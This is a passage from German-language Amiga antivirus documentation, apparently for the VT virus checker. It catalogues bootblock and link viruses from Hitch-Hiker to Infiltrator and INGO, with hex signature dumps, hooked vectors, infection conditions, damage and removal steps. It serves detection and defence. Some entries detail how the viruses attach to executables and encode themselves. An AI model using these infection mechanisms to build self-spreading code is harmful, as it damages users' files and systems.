  9377.          Hinweis 1: Bei Testverseuchungen sind AUCH defekte Files ent-
  9378.          standen. VT sollte den Ausbauversuch abbrechen und nur noch
  9379.          Loeschen anbieten.
  9380.          Hinweis 2: Falls Ihre Festplatte sehr verseucht ist, gehen Sie
  9381.          bitte in Sp->File->Sp, waehlen ein Unterverzeichnis (z.B. c)
  9382.          und klicken dann auf DirFTest. Gehen Sie danach weitere Unter-
  9383.          verz. (libs usw.) durch.
  9384.          Hinweis3 :
  9385.          Mit BlockKetteTest ist der HH3 nicht immer zu finden.
  9386.          Begruendung: Da der Viruskopf sich staendig veraendert, muss VT
  9387.          bis zu #250 Bytes vergleichen. Die Wahrscheinlichkeit, dass
  9388.          ALLE diese Bytes in EINEM Block liegen ist gering.
  9389.  
  9390.    - Hitch-Hiker4-Virus      File  Link
  9391.          Verbogene Vektoren: Trap #0-7 (abhaengig von $DFF007)
  9392.                              JMP von PutMes
  9393.          KS2.04: ja
  9394.          Resetfest: nein
  9395.          Fileverlaengerung: #3052 Bytes
  9396.          Link als ersten Hunk.
  9397.          Uncodiert ist am Fileanfang zu lesen:
  9398.             2d436f70 79436174 20446563 72756e63 -CopyCat Decrunc
  9399.             68657220 56312e30 312d              her V1.01-
  9400.          Decodiert ist im VirusTeil zu lesen:
  9401.             79004c48 414c5a58 5a4f4f5a 49500a54 y.LHALZXZOOZIP.T
  9402.             68652042 61737461 72642069 73204261 he Bastard is Ba
  9403.             636b210a 54686520 48697463 682d4869 ck!.The Hitch-Hi
  9404.             6b65720a 2d205665 7273696f 6e20342e ker.- Version 4.
  9405.             3131200a                            11 .
  9406.          VT versucht den Process im Speicher abzuschalten.
  9407.          Das heisst: Bei diesem Virusteil versucht VT NICHT den Process
  9408.          zu entfernen, sondern versucht den Process nur in eine
  9409.          NUTZLOSE LEERE Endlosschleife zu versetzen.
  9410.          Lieber waere mir allerdings, wenn Sie von einer "sauberen" und
  9411.          schreibgeschuetzten Disk starten wuerden, um einem Absturz beim
  9412.          Veraendern des Processes vorzubeugen.
  9413.          VT versucht das Virusteil aus einem File auszubauen.
  9414.  
  9415.          Speicherverankerung:
  9416.            - Speicher noch nicht verseucht.
  9417.            - Ein Prozess wird erzeugt. Name wird aus LibList geholt
  9418.              (abhaengig von $DFF007). Der Name wird auf max $F+1 ge-
  9419.              kuerzt. Taucht vorher im Namen z.B. exec.library der Punkt
  9420.              auf, so wird am Punkt abgebrochen (ergibt Prozessname exec).
  9421.              Dieser Prozess ueberwacht nach DosDelay die anderen Ver-
  9422.              aenderungen und setzt sie bei Bedarf jeweils neu.
  9423.            - JMP von PutMes wird durch $4E40-$4E47 (abhaengig von $DFF007)
  9424.              ersetzt (ergibt Trap #0-7).
  9425.            - ZeroPage oder falls vorhanden VecPage wird veraendert.
  9426.              VBR (oder 0) + $80 + ((0/1/2/3/4/5/5/7)*4). (also $80-$9c)
  9427.          Vermehrungsbedingungen:
  9428.            - Medium validated
  9429.            - Medium mind. #10 Blocks frei
  9430.            - File noch nicht verseucht
  9431.            - File ausfuehrbar ($3F3)
  9432.            - Filename ohne "." oder "-" (also keine xyz.library)
  9433.          Vermehrung:
  9434.            - Filestruktur wird in zwei Hunks umgewandelt.
  9435.            - Vom Fileanfang werden #3048 Bytes ans Fileende verschoben.
  9436.              #3048 und eine 3F2-Kennung = #3052. In den freien Platz am
  9437.              Fileanfang wird das Virusteil eingebaut.
  9438.            - Veraendert FileComment-Zeile
  9439.          Hinweis: Fremdaussage: Es sollen auch defekte Files entstehen.
  9440.          VT sollte dann nur Loeschen anbieten. z.B. $3F2 am Fileende
  9441.          fehlt (vgl. RKM, Babel usw.).
  9442.          Hinweis2: Falls Ihre Festplatte stark verseucht ist, gehen Sie
  9443.          bitte in Sp-File-Sp und testen Sie einzelne SubDir (DirFTest).
  9444.  
  9445.  
  9446.    - Hitch-Hiker4.23-Virus      File  Link
  9447.          Verbogene Vektoren: Trap 8-F (abhaengig von $DFF007)
  9448.                              JMP von PutMes
  9449.          KS2.04: ja
  9450.          Resetfest: nein
  9451.          Fileverlaengerung: #2912 Bytes
  9452.          Link als ersten Hunk.
  9453.          Decodiert ist im VirusTeil zu lesen:
  9454.            62726172 79004c48 414c5a58 5a4f4f5a brary.LHALZXZOOZ
  9455.            49506273 64736f63 6b65742e 6c696272 IPbsdsocket.libr
  9456.            61727900 504f5354 0d0a4441 54410d0a ary.POST..DATA..
  9457.            51554954 0d0a5468 65204869 7463682d QUIT..The Hitch-
  9458.            48696b65 7220342e 32332020 2d204765 Hiker 4.23  - Ge
  9459.            6e657261 74696f6e 20233030 30303130 neration #000010
  9460.            33320d0a                            32..
  9461.          
  9462.          Speicherverankerung:
  9463.            - Speicher noch nicht verseucht.
  9464.            - Es wird nach bsdsocket.library gesucht und falls vorhanden
  9465.              einige Sprungvektoren verbogen. Diese Lib liegt nicht in Libs,
  9466.              sondern wird von einigen Programmen (z.B. Miami) im Programm
  9467.              mitgefuehrt. Diese Lib wird immer nach Programmende (Miami)
  9468.              wieder aus dem Speicher entfernt, auch wenn Vektoren
  9469.              (z.B. -$4) von HH4.23 verbogen waren. (So war es auf meinem
  9470.              Testrechner).
  9471.            - JMP von PutMes wird durch $4E48-$4E4F (abhaengig von $DFF007)
  9472.              ersetzt (ergibt Trap 8-F).
  9473.            - ZeroPage oder falls vorhanden, VecPage wird veraendert.
  9474.              VBR (oder 0) + $80 + [8+(0/1/2/3/4/5/5/7)]*4. (also $A0-$BC)
  9475.          Vermehrungsbedingungen:
  9476.            - Medium validated
  9477.            - Medium mind. #10 Blocks frei
  9478.            - File noch nicht verseucht
  9479.            - File ausfuehrbar ($3F3)
  9480.            - Filename ohne "." oder "-" (also keine xyz.library)
  9481.            - Filelaenge Min: #2908 Bytes
  9482.            - Filelaenge Max: keine Grenze im Linkteil gefunden
  9483.          Vermehrung:
  9484.            - Filestruktur wird in zwei Hunks umgewandelt.
  9485.            - Vom Fileanfang werden #2908 Bytes ans Fileende verschoben.
  9486.              #2908 und eine 3F2-Kennung = #2912. In den freien Platz am
  9487.              Fileanfang wird das Virusteil eingebaut.
  9488.          Hinweis: Falls Ihre Festplatte stark verseucht ist, gehen Sie
  9489.          bitte in Sp-File-Sp und testen Sie einzelne SubDir (DirFTest).
  9490.  
  9491.  
  9492.  
  9493.    - Hochofen  Link  auch mit KS2.04
  9494.             verlaengert ein File um 3000 Bytes
  9495.             KEINE bekannten Vektoren verbogen !!!!
  9496.             Wurde mir als Trabbi zugeschickt. Da ich diesen Namen nicht
  9497.             nachvollziehen kann (kommt im Prg-code nicht vor), nenne
  9498.             ich ihn Hochofen (im 1. Hunk zu lesen).
  9499.             Taskname: Greetings to Hochofen
  9500.             Vermehrung:
  9501.             NUR moeglich beim Start eines bereits verseuchten Prgs.
  9502.             Scannt Root durch (examine, exnext usw.) und sucht nach
  9503.             Files, die
  9504.                   - ausfuehrbar ($3F3)
  9505.                   - kleiner als 200000 Bytes
  9506.                   - noch nicht befallen
  9507.                         sind.
  9508.             Haengt sich dann als erster Hunk an und verlaengert das
  9509.             File um 3000 Bytes (Hunk nicht codiert).
  9510.             Hinweis: NICHT jedes verseuchte File ist lauffaehig ! s.u.
  9511.             Schaeden:
  9512.             Task: Greetings to Hochofen
  9513.             im Task:   KEIN VermehrungsPrgTeil
  9514.             zeitabhaengig:
  9515.                   BildschirmHintergrund   schwarz  rot  gelb
  9516.                      mit Maustaste wegklicken
  9517.                   Requester   Fasten seat-belt!
  9518.                      mit Maustaste wegklicken
  9519.                   Task wird wieder entfernt
  9520.             Fehler: kennt viele Hunktypen NICHT und veraendert durch
  9521.             einen Schleifenfehler dann den Hunktyp um +1. Als Beispiel,
  9522.             weil ich es da zuerst bemerkt habe:
  9523.             Kennt hunksymbol ($3F0) nicht und macht daraus hunkdebug ($3F1).
  9524.             In unbekannten Hunks werden auch in einer Schleife Bytes
  9525.             FALSCH geaendert.
  9526.             Verseuchte Files die den Computer zum Absturz bringen, ver-
  9527.             aendern bei mir auch die Hardwareuhr !!!!
  9528.             Vermehrung getestet: ja auch mit ROM KS2.04
  9529.             Ausbau getestet: ja mit VT 2.37
  9530.  
  9531.    - HODEN-Virus   BB
  9532.           nur KS1.2, da absoluter DoIo-Einsprung
  9533.           DoIo, KickTag, KickCheckSum,
  9534.           im Speicher immer $7f000
  9535.           Fordert trackdisk.device NICHT.
  9536.           Vermehrung: ueber BB
  9537.           Kennzeichen: nach fuenf Kopien wandert ein gelber Kopf
  9538.           von links nach rechts ueber den Bildschirm.
  9539.           unverschluesselt steht im BB:  HODEN V33.17
  9540.           Clone: COHEN-Virus
  9541.  
  9542.    - Hostile Takeover Virus   siehe bei Smeg-Virus
  9543.  
  9544.    - HULKSTERS-Virus  BB   Pentagon-Clone s.u.
  9545.             Text geaendert: z.B.  SACHSEN/ANHALT  usw.
  9546.  
  9547.    - Hunklab-BootJob   File  GROSSE GEFAHR !!!!!!!!!!
  9548.       Mit BootJob wurde ein BB in ein ausfuehrbares File umgewandelt.
  9549.       Dieses BootJob-File wurde mit HunkLab an ein anderes File ange-
  9550.       haengt. Fertigen Sie bitte eine Kopie dieses Files an und unter-
  9551.       suchen Sie es genauer.
  9552.       VT sollte Ausbau anbieten.
  9553.       Vgl. auch TAI7-Installer, East-Star-Install, CRACKER-Ext.Inst.
  9554.       KIMBLE.BB-Inst., Firedom.BB-Inst.
  9555.  
  9556.    - HunkLab-Link ??  Link  von VT NUR im ungepackten Zustand erkannt !!!
  9557.          Es soll sich um ein XCopy-Programm handeln, das es ermoeg-
  9558.          licht, sowohl NutzPrg.e als auch Viren vor bereits vorhandene
  9559.          Programme zu haengen. Ganz ehrlich. Ich verstehe die Welt
  9560.          nicht mehr. Wie kann eine Firma so ein Programm verkaufen,
  9561.          das es jedem Anfaenger AUCH erlaubt, Viren an ein vor-
  9562.          handenes Programm zu linken ????? ABER NOCH EINMAL: Nicht
  9563.          jedes mit Hunklab veraenderte Programm muss ein Virus-
  9564.          teil enthalten.
  9565.          Zu Beginn des 1.Hunks ist zu lesen:
  9566.               58892f49 003c4cdf 7fff4e75 556e6974 X./I.<L...NuUnit
  9567.               6564a046 6f726365 53000000 00000001 ed.ForceS.......
  9568.          Bitte nehmen Sie fuer den Ausbau eine Kopie ihrer Disk.
  9569.          Ich habe nur 5 verseuchte Files (AIBON). Da ich Hunk-
  9570.          Lab nicht besitze, kann ich keine weiteren Files linken.
  9571.          Die Routine koennte also wackeln. Bitte teilen Sie mir
  9572.          festgestellte Fehler mit. Danke
  9573.          Fileerkennung und Ausbau mit VT: 05/06.12.92
  9574.      Hinweis 30.12.92: Es soll in der Szene ein modifiziertes
  9575.          Hunklabprogramm (oder aehnlich programmiert) Verwendung
  9576.          finden. Es kann also zu Verwechslungen kommen und die
  9577.          Programme sind vielleicht nach dem Ausbau NICHT mehr
  9578.          lauffaehig. Fertigen Sie also BITTE eine Kopie und ver-
  9579.          suchen Sie mit dieser den Ausbau.
  9580.  
  9581.    - ICE    SCAClone  BB
  9582.          Cool, im Prg. DoIo,
  9583.          im Speicher immer ab $7ec00
  9584.          Vermehrung: ueber BB
  9585.          Textausgabe durch GraphikRoutine
  9586.          unverschluesselt steht im BB:
  9587.          Greets from The Iceman & The IRQ  usw.
  9588.  
  9589.    - IconD-Trojan Varianten
  9590.       Name geaendert in  Biomechanic   siehe oben
  9591.  
  9592.     - ILLEGAL-Virus    Link
  9593.         Mind. KS 39 fuer Vermehrung
  9594.         Mind. 68020
  9595.         Fileverlaengerung um #4000 Bytes (variabel)
  9596.         Mehrfach codiert
  9597.         Versucht sich resetfest zu machen (probieren Sie KReset)
  9598.         Im decodierten File ist zu lesen:
  9599.                                   2820 494c4c45           ( ILLE
  9600.             47414c20 41434345 53532056 69727573 GAL ACCESS Virus
  9601.                ;....
  9602.             76697275 73007761 726e0072 65736574 virus.warn.reset
  9603.             006d6f64 69660074 74656e74 69006b69 .modif.ttenti.ki
  9604.             6c6c00ff 2e696e66 6f006b65 79626f61 ll...info.keyboa
  9605.             72642e64 65766963 65002e6c 69627261 rd.device..libra
  9606.             7279002e 64617461 74797065 002e6761 ry..datatype..ga
  9607.             64676574 002e6c61 6e677561 676500ff dget..language..
  9608.             2d68616e 64004c49 42533a44 4556533a -hand.LIBS:DEVS:
  9609.         Im Speicher:
  9610.          Verbiegt $10 von Zero- oder VecPage.
  9611.          Ersetzt in Libs und keyboard.device bei VERSCHIEDENEN Sprung-
  9612.          befehlen das $4EF9 durch $4AFC. Falls ein Programm nun so eine
  9613.          Funktion aufruft, wird immer zuerst das Virusteil durchlaufen
  9614.          und dann die Originalfunktion ausgefuehrt.
  9615.          VT versucht alle $4AFC und $10 (Enforcer-Hit!!!!) zurueckzusetzen.
  9616.          BITTE !!!!! kontrollieren Sie mit Tools/Systemtest und Tools/Zero-
  9617.          und Tools/VecPage nach, ob VT wirklich ALLE Manipulationen ge-
  9618.          funden hat. Danke
  9619.         Linkverhalten:
  9620.          Variante a:
  9621.          Haengt sich als 1.Hunk ein und codiert das 1. Wort des ursprueng-
  9622.          lich 1.Hunks.
  9623.          Variante b:
  9624.          Files, die eine Res-Struktur haben (z.B. libs, device, usw.)
  9625.          Der Link erfolgt hinter den 1.Hunk . Das Reloc von Init oder Init-
  9626.          Routine (abhaengig von Flag 7) wird auf den Virusbeginn geaendert.
  9627.          Die Versions-Nr. im IDString wird erhoeht. Die Versions-Nr. in
  9628.          der Res-Struktur wird erhoeht (abhaengig von Flag 0). Im Reloc-
  9629.          Hunk, der zu diesem Original-Hunk gehoert wird 1 Reloc zusaetzlich
  9630.          eingetragen.
  9631.          Beispiel fuer Versionsver:
  9632.                 Orig.                        vers.
  9633.             70ff4e75 4afc0000 p.NuJ... : 70ff4e75 4afc0000 p.NuJ...
  9634.             00040000 04ce0122 ......." : 00040000 04ce0123 .......#
  9635.               ;.....        ^                            ^
  9636.             342e3920 28313820 4.9 (18  : 352e3920 28313820 5.9 (18
  9637.                               ^                            ^
  9638.         Link-Ausbau mit VT:
  9639.          Falls Sie das Teil leider finden, so ist wahrscheinlich nicht nur
  9640.          ein File verseucht. Ueberlegen Sie bitte, ob es nicht besser ist,
  9641.          von den Original-WB-Disks C, Libs, devs, Classes, Language neu
  9642.          aufzukopieren.
  9643.          Danach sollten Sie im FileRequester von VT einzelne Unterverzeich-
  9644.          nisse (z.B. devs) mit DirFtest scannen (Sie sparen Zeit, da sich
  9645.          VT dann nur in diesem Verz. bewegt).
  9646.          Link als 1.Hunk:
  9647.          Sollte VT ohne Probleme ausbauen und das 1.Wort decodieren.
  9648.          Link hinter 1.Hunk (libs usw.):
  9649.          VT schneidet das Virusteil aus.
  9650.          VT setzt das Ursprungs-Reloc von Init.
  9651.          VT kuerzt den Reloc-Hunk um 4 Bytes (entfernt das eine zusaetz-
  9652.          lichen Reloc-LW).
  9653.          Probleme:
  9654.          VT versucht im IDString die Versions-Nr. herunterzusetzen. Dies
  9655.          ist nicht immer richtig, falls VT eine 9 als letzte Zahl findet.
  9656.          z.B.  35.9 : Das Virusteil erzeugt diesen Wert aus 35.8 ODER
  9657.          aus 34.9 (siehe oben).
  9658.          VT erwartet nach dem Virusteil den 3EC-Hunk. Ich hab nur solche
  9659.          verseuchte Libs. Falls jemand andere Hunks findet, bitte ich um
  9660.          Zusendung. Danke !! Falls dieser Hunk nicht gefunden wird, bietet
  9661.          VT nur loeschen an. Ich habe sehr viele libs, devs usw. durchge-
  9662.          sehen und immer war der Reloc-Hunk gleich im Anschluss. ABER !!!!!
  9663.          Das Virusteil hat aber eine Routine, die den Reloc-0-Hunk auch
  9664.          weiter hinten sucht, wenn zuvor z.B. ein 3F0-Hunk kommt. Was ich
  9665.          nicht testen kann, baue ich nicht ein.
  9666.         Hinweis: Es sind einige Files aufgetaucht, in denen ILLEGAL ACCESS
  9667.          zu lesen ist. Es hat also jemand diese Files teilweise decodiert.
  9668.          Vermutlich um den Ablauf der Decodierung zu verfolgen. Diese
  9669.          Files sind NICHT mehr lauffaehig !!! Ein SAUBERER Ausbau ist NICHT
  9670.          moeglich. Ein sicheres Erkennen solcher Files ist NICHT mehr moeg-
  9671.          lich, da an moeglichen und unmoeglichen Stellen der Decodierroutine
  9672.          NOPs oder RTS gesetzt wurden. Loeschen Sie solche Files bitte.
  9673.  
  9674.    - Inboot  File    BB-exe-Laenge:1400
  9675.          Ein Nutz-Utility-Prg. zum Abspeichern eines BBs als aus-
  9676.          fuehrbares File. Bei Filetest und BlockKette wird
  9677.          Inboot erkannt. Wenn Sie wissen wollen, um welchen BB
  9678.          es sich handelt, gehen Sie bitte in den File-Req.,
  9679.          klicken das File an und klicken dann auf Filetest. Mit
  9680.          Convert koennen Sie einen Ausbauversuch wagen.
  9681.  
  9682.     - Incognito     anderer Name Trojan
  9683.          DoIo, KickMem, KickTag, KickCheckSum, FastMem ja
  9684.          nur KS1.2, da absoluter DoIo-Einsprung ins ROM
  9685.          Vermehrung: ueber BB
  9686.          sonst keine Schaeden und kein Text
  9687.          im BB: nichts zu sehen, da trackdisk.device verschluesselt.
  9688.  
  9689.     - INDIANA JONES  BB
  9690.          Cool immer $7E656   
  9691.          im Prg: DoIo $7E690, FindRes $7E676
  9692.          KS2.04: ja
  9693.          immer ab $7E600
  9694.          Fordert trackdisk.device NICHT
  9695.          Warhawk-Clone
  9696.          Unterschied: die Textausgabe ueber Graphik-Routine wurde
  9697.          entfernt.
  9698.          Vermehrung: BB
  9699.        Namensbegruendung: Wenn Sie im BB die $7F-Zeichen richtig anordnen,
  9700.             ergibt sich:
  9701.        ····#··#··.#·##···#·####·#···#·####······####·####·#···#·###·###
  9702.        ····#··##·.#·#·#··#·#..#·##··#·#··#·········#·#··#·##··#·#···#··
  9703.        ····#··#·#.#·#··#·#·# .#·#·#·#·#··#·········#·#··#·#·#·#·##.·###
  9704.        ····#··#·.##·#·#··#·####·#··##·####·······#·#·#··#·#··##·#···..#
  9705.        ····#··#··.#·##···#.#·.#·#···#·#··#······#··#·####·#···#·###·###
  9706.        ··········································##····················
  9707.  
  9708.    - INFECTOR  Virus BB  ein Fast Eddie Clone
  9709.          Nur Texte geaendert. Wieder einmal eine Meisterleistung !!!
  9710.          KickTag, KickCheckSum
  9711.          KS2.04 nein
  9712.          im Prg nach Reset noch DoIo, $6c, im Speicher immer $7F000
  9713.          fordert trackdisk.device NICHT.
  9714.          Im BB ist an $1c !IN! zu lesen
  9715.          Wird aktiv wenn Block 880 gelesen wird
  9716.          Schaeden:
  9717.          blockiert nach 15 oder 20 Min. Rechner (Farbspiel)
  9718.          schreibt eigenen Virus-BB
  9719.          bestimmt einen Block ueber $DFF006 durch mulu #6,d7 und schreibt
  9720.          in diesen Block ab $100  INFECTOR GO! .
  9721.          Block: 732
  9722.          000000f0: 34071070 b9f9b1c6 3b3bf014 47d8b589 4..p....;;..G...
  9723.          00000100: 494e4645 43544f52 20474f21 f403d488 INFECTOR GO!....
  9724.          00000110: 607c98e2 5e0d3de0 28ca7775 a94a0f0e `...^.=.(.wu.J..
  9725.          Dieser Block und auch das File kann NICHT gerettet werden.
  9726.  
  9727.          Benennt Disknamen um  >INFECTOR BY DARK< . Arbeitet mit $6E000,
  9728.          dies ist nur bei einer DD-Disk der RootBlock !!
  9729.          Block: 880
  9730.          000001a0: 00000000 00001624 00000359 00000b1d .......$...Y....
  9731.          000001b0: 1d3e494e 46454354 4f522042 59204441 .>INFECTOR BY DA
  9732.          000001c0: 524b3c00 00000000 00000000 00000000 RK<.............
  9733.          Auf einer HD-Disk wird also ein zusaetzliches File zerstoert.
  9734.  
  9735.          Codiert jeden BB neu mit ByteWert von $DFF006  eor.b d1,(a0)+ .
  9736.          Decodiert eigenen BB  mit  eor.b d6,(a0)+ .
  9737.          Decodiert im Speicher :
  9738.             THIS IS THE FIRST VIRUS WRITTEN BY THE DARK AVENGER !!!
  9739.          siehe auch oben bei Fast Eddie
  9740.  
  9741.    - Infiltrator Link
  9742.          anderer Name Klein-Virus (von mir nicht nachvollziehbar)
  9743.          Arbeitet erst ab dos.library-Version #36 oder hoeher (also
  9744.          keine Vermehrung mit KS1.2 oder KS1.3)
  9745.          Verbiegt OldLoadSeg (NewLoadseg wird nicht verbogen)
  9746.          Ueberprueft ob Virus schon installiert mit Zeichenfolge "1992".
  9747.          Verlaengert ein File um 1052 Bytes.
  9748.          Am File ist das Virusprogramm codiert mit eori.b x,(A0)+ .
  9749.          Das Byte x aendert sich bei jedem neuen Linkvorgang in Abhaengig-
  9750.          keit von $DFF006 .
  9751.          Im Programm ist ein Textteil codiert mit:
  9752.                    move.w #$80,d0
  9753.             loop:  eor.b d0,(a0)+
  9754.                    dbra d0,loop
  9755.          Decodiert ist dann zu lesen:
  9756.             Howdy hacker! This is The Infiltrator!  usw.
  9757.  
  9758.          Versucht auch ein File "user.data",0 zu oeffnen.
  9759.  
  9760.          Arbeitsweise:
  9761.             - Sucht nach dem Langwort, das die Laenge des 1.CodeHunks
  9762.               enthaelt und erhoeht den Wert um $107 .
  9763.             - Schreibt zu Beginn des 1. CodeHunks 6100xxyy (bsr xxyy)
  9764.                d.h. der OriginalSourceCode wird ueberschrieben.
  9765.             - Haengt sich codiert am Ende des 1.OriginalCodeHunks an.
  9766.                d.h. keine Erhoehung der HunkAnzahl.
  9767.  
  9768.          Vermehrungsbedingungen:
  9769.             - Disk validated
  9770.             - mindestens 8 Bloecke Platz
  9771.             - 1. CodeHunk nicht groesser als $1ffc * 4 = $7FF0
  9772.                   (von Virusprogramm getestet )
  9773.             - Test 1. Wort im CodeHunk auf
  9774.                - $4EF9 (Jmp)    falls ja keine Verseuchung
  9775.                - $4EB9 (Jsr)    falls ja keine Verseuchung
  9776.             - Test ob schon von Infiltrator verseucht
  9777.               1. Wort im CodeHunk auf
  9778.                - $6100 (bsr)    falls ja 2. Test an anderer Stelle auf
  9779.                 - $48E7FFFE     falls ja schon verseucht, deshalb Ende.
  9780.            Ergebnis: verseucht auch libs, devices  usw.
  9781.                      AUCH auf FESTPLATTE !!!!!
  9782.          NACHTRAG 26.07.92 : entgegen dem schon befallen Selbsttest ist
  9783.             es mir gelungen das Virusprogrammteil 2x an diskfont.library
  9784.             zu linken !!!!
  9785.  
  9786.          Erfolg: NICHT alle Programme sind danach lauffaehig !!!!!
  9787.                (von Shell mehr als von WB)
  9788.  
  9789.          Ausbau: VT versucht den Originalzustand wieder herzustellen.
  9790.             Falls es Probleme gibt, wenden Sie sich bitte an mich.
  9791.             NACH dem FileTest machen Sie bitte ein EinzelFileCopy
  9792.             auf eine leere formatierte Disk. Zwei Gruende:
  9793.                - die Fragmentierung der Files wird aufgehoben
  9794.                   (Disk ist wieder schneller)
  9795.                - es werden nur benutzte Bloecke kopiert, d.h. jetzt
  9796.                  nicht mehr von Files belegte Bloecke werden nicht
  9797.                  mitkopiert und so kann dann auch BlockITest keinen
  9798.                  Infiltrator auf der NEUEN Disk in einem unbenutzten
  9799.                  Block finden.
  9800.  
  9801.          Suche: Sie MUESSEN mit FileTest suchen. Bei BlockKette kann
  9802.             eine Meldung unterbleiben, wenn von den 3 Testlangworten
  9803.             2 im Block x und 1 LW im Block x+1 liegen.
  9804.  
  9805.          Bitte: Suchen Sie NICHT nach verseuchten Files, solange ein
  9806.             sogenanntes "Nutzprogramm" aktiv ist, das loadseg verbiegt.
  9807.             Hinter diesem Nutzprg koennte der Infiltrator liegen !!!
  9808.             Folge: Das Nutzprogramm ueberprueft beim Laden das File
  9809.             und stellt fest, dass das File von ihm NICHT zu bearbeiten
  9810.             ist (also z.B. nicht gepackt) und uebergibt an den "OrigLoad-
  9811.             Seg-Vektor". Nur leider ist der "OrigLoadSeg-Vektor" auf die
  9812.             Infiltrator-Routine verbogen !!!!  Ihre Erfolgsaussichten
  9813.             sind NULL  !!!!!!
  9814.  
  9815.    - INFLUENZA   BB
  9816.          Cool $7F320, DoIo $7F0FC, $60,
  9817.          immer ab $7F000
  9818.          Fordert trackdisk.device NICHT
  9819.          Turk-Clone
  9820.          Unterschiede:
  9821.              - Cool-Einsprung im Prg. verschoben
  9822.              - keine DisplayAlert-Routine
  9823.          Vermehrung: ueber BB
  9824.          Schaeden:
  9825.              - schreibt FUCK nach $60
  9826.              - Sobald in $300 (absolut!) der Wert #10 steht, wird die
  9827.                Disk von Zylinder 0-39 formatiert.
  9828.          Namensbegruendung: im BB ist zu lesen:
  9829.              20202020 48452048 45203c2d 20202d2b     HE HE <-  -+
  9830.              2d204920 4e204620 4c205520 45204e20 - I N F L U E N
  9831.              5a204120 2d2b2d20 202d3e20 20205355 Z A -+-  ->   SU
  9832.  
  9833.    - Inger IQ      ByteBandit/Forpib-Clone  s.d.
  9834.             Text:  ---Inger IQ Virus - Ersmark 1953---
  9835.  
  9836.    - INGO-ZENKER-Clone   BB  KS2.04: ja  im Speicher immer ab $7F800
  9837.          Cool $7F86c DoIo $7F894
  9838.          NEU: $6c
  9839.          Fordert trackdisk.device NICHT
  9840.          Versucht im BB durch lesbaren Text zu taeuschen:  
  9841.            426f6f74 6c6f6164 65722062 7920496e Bootloader by In
  9842.            676f2021 20283136 20466562 20313939 go ! (16 Feb 199
  9843.            33290000 00000000 00000000 00000000 3)..............
  9844.          Im Speicher ist zu lesen:
  9845.            001b0610 00014cdf 7fff4e75 4e6f7720 ......L..NuNow
  9846.            49606d20 696e2074 68652033 30204765 I`m in the 30 Ge
  9847.            6e657261 74696f6e 21496e67 6f206973 neration!Ingo is
  9848.            20424143 4b202121 20284841 48414845  BACK !! (HAHAHE
  9849.            48454849 2921444f 53000000 00000000 HEHI)!DOS.......
  9850.  
  9851.          Der BB holt in Wirklichkeit ab $70000 auf Speichermedium (bei
  9852.          Disk Zyl 40 Sektor 16-19) 4 Bloecke. Die ersten beiden Bloecke
  9853.          enthalten das Virusteil. Die restlichen beiden Bloecke enthalten
  9854.          den ehemaligen Original-BB. Dabei wurde ab der DOS-Kennung
  9855.          == INGO!! == eingetragen. Dies behindert die Vermehrung nicht,
  9856.          da das Virusteil erst ab $C in den Original-BB einspringt.
  9857.          Das Virusteil meldet sich NICHT.
  9858.          Vermehrung und Schaeden:
  9859.          Der Original-BB der eingelegten Disk wird nach $7FC00 geholt,
  9860.          == INGO!! == eingetragen und dann mit dem Virus-Teil nach Zyl 40
  9861.          Sektor 16 ff. abgespeichert. File-Bloecke an dieser Stelle oder
  9862.          die BitMap (im Test passiert) werden ueberschrieben und koennen
  9863.          NICHT gerettet werden !! Tut mir leid. Danach wird der Bootloader
  9864.          in den BB geschrieben.
  9865.          Falls der BB-loader erkannt wurde, sollte das Gadget O-BB aktiviert
  9866.          werden. Sie koennen damit versuchen, den Original-BB von Zyl 40
  9867.          zu holen. VT schreibt dann die Dos0-Kennung und $370 neu. Danach
  9868.          wird die BB-CheckSum neu berechnet. Diesen BB koennen sie dann mit
  9869.          Speicher-BB zurueckschreiben oder im File-Req abspeichern.
  9870.          Vielleicht haben Sie Glueck und ihre Disk bootet wieder. Der
  9871.          Fehler auf Zyl 40 kann aber NICHT behoben werden.
  9872.          Auf Festplatte arbeiten Sie bitte so NICHT. Holen Sie das Backup
  9873.          des Rigid-Bereichs hervor (das haben Sie doch oder ???) und
  9874.          schreiben Sie den Rigid-Bereich mit ihrer Kontroller-Software
  9875.          (ist mir lieber so) oder wenn es gar nicht anders geht mit VT-
  9876.          Restore zurueck.
  9877.          NEU: Ueber $6c wird eine Speicherstelle aufgezaehlt. Sobald der
  9878.          Wert $3000 erreicht ist, werden beim naechsten DoIo-Zugriff ab
  9879.          $6E000 (ist nur bei DD-Disk der Rootbereich) $1800 Bytes geschrie-
  9880.          ben. Die ersten $400 Bytes enthalten immer das Wort iNGo und die
  9881.          restlichen $1400 Bytes Speichermuell von $70400.
  9882.            694e476f 694e476f 694e476f 694e476f iNGoiNGoiNGoiNGo
  9883.            694e476f 694e476f 694e476f 694e476f iNGoiNGoiNGoiNGo
  9884.            694e476f 694e476f 694e476f 694e476f iNGoiNGoiNGoiNGo
  9885.            694e476f 694e476f 694e476f 694e476f iNGoiNGoiNGoiNGo
  9886.          Sollten Sie so eine Disk haben, so ist eine Rettung leider un-
  9887.          moeglich. Sie koennen zwar einmal Disksalv2 probieren, aber
  9888.          ich hatte damit NICHT viel Erfolg.
  9889.          Hinweis 28.11.93: Das VirusTeil verseucht auch FFS-Disketten.
  9890.          Da aber immer ein DOS0-BB geschrieben wird (ist ausgetestet),
  9891.          wird beim naechsten Schreibzugriff (z.B. copy File) die Disk-
  9892.          Struktur noch weiter zerstoert.
  9893.  
  9894.    - INGO  BB   DoIo, KickTag, KickCheckSum
  9895.          KS2.04: ja
  9896.          Fordert trackdisk.device NICHT
  9897.          LADS/ZEST-Clone  s.u.
  9898.          Unterschied: DisplayAlert abgeschaltet
  9899.          Namensbegruendung: im BB ist zu lesen:
  9900.              f00f494e 474f2049 53205350 45414b49 ..INGO IS SPEAKI
  9901.              4e472021 212100ff 00fc2344 45415448 NG !!!....#DEATH
  9902.  
  9903.    - INGO'S RETURN   BB
  9904.          abcd bei $396  duerfte zur Lamer-Familie gehoeren.
  9905.          schreibt FUCK!! in irgendeinen Block
  9906.          BeginIo, KickTag, KickCheckSum, SumKickData
  9907.          KS2.04 nein
  9908.          Codiert jeden Virus-BB neu
  9909.          Namensbegruendung: decodiert mit eor.b d0,(a0)+ ist im Speicher
  9910.          zu lesen:
  9911.                >>INGO`S RETURN << suffer!
  9912.          Von INGO`S RETURN zerstoerte Bloecke in einem File sind NICHT
  9913.          mehr zu retten. Tut mir leid.
  9914.  
  9915.    - init_cli     anderer Name: AMIGAKNIGHTVIRUS   s.o.
  9916.  
  9917.    - InstSG-Trojan   siehe bei Joker-Trojan
  9918.  
